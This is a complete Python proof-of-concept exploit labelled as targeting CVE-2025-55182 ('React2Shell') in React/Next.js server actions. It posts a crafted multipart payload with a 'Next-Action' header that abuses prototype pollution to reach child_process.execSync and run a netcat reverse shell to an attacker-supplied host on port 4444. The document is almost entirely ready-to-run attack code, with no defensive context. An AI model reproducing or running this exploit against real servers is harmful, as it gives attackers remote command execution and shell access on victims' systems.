# React2Shell (CVE-2025-55182) PoC
import json
import requests
import sys

if len(sys.argv) < 3:
    print(f"Uso: python3 {sys.argv[0]} <URL_target> <LHOST>")
    sys.exit()

url = sys.argv[1]
LHOST = sys.argv[2]
rshell = f"busybox nc {LHOST} 4444 -e sh" # Change your shell here
headinho={"Next-Action": "x"}
hehe= {
    "then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":'{"then":"$B666"}',
    "_response": {
        "_prefix": f"process.mainModule.require('child_process').execSync('{rshell}');",
        "_formData":{"get":"$1:constructor:constructor",}}}
he = {"0": (None, json.dumps(hehe)),"1": (None, '"$@0"'),}
print("Check your shell")
requests.post(url, files=he, headers=headinho)